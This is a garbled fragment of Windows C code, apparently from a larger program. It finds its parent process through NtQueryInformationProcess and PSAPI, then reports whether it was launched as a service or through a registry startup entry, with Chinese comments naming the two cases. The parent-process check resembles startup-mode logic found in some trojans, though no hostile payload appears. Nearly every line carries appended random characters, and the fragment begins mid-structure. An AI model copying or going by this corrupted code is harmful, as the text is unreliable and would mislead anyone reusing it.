DWORD AffinityMask; c*@#0B
DWORD BasePriority; =dp(+7Va
ULONG UniqueProcessId; C3hQT8~
ULONG InheritedFromUniqueProcessId; 6F)^8s02h
} PROCESS_BASIC_INFORMATION; 2C&G'@>
01_*^iCf5
PROCNTQSIP NtQueryInformationProcess; `a+"[%
j{`C|zg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~CRd0T[^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [2l2w[7Rid
C-:lM1
HANDLE hProcess; l`wF;W!
PROCESS_BASIC_INFORMATION pbi; d$?sS9"8(
jI;iTKjB(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e6(Pw20)s
if(NULL == hInst ) return 0; h8)m2KrZ!.
z5_#]:o&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JK/VIu&!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kgZiyPcw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fp)%Cr
6`JY:~V"
if (!NtQueryInformationProcess) return 0; 7%0V ?+]P
8=T[Y`;x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -V_iv/fmM
if(!hProcess) return 0; qtI42u{
S!r,p};
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "rJJ~[Y
'Y;M%
CloseHandle(hProcess); hUo}n>Aa
A{IJ](5.kd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ks>l=5~v|
if(hProcess==NULL) return 0; q[
-YXO
t~0!K;nn
HMODULE hMod; 5nA
*'($j
char procName[255]; QO;OeMQv%
unsigned long cbNeeded; Hdxon@,+cd
Q&k1' nT5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .I#ss66h
D_D76
CloseHandle(hProcess); -
fx?@
d&x #9ka
if(strstr(procName,"services")) return 1; // 以服务启动 qZwqnH
xRp;y*
return 0; // 注册表启动 m~;}8ObQE
} 9[@K4&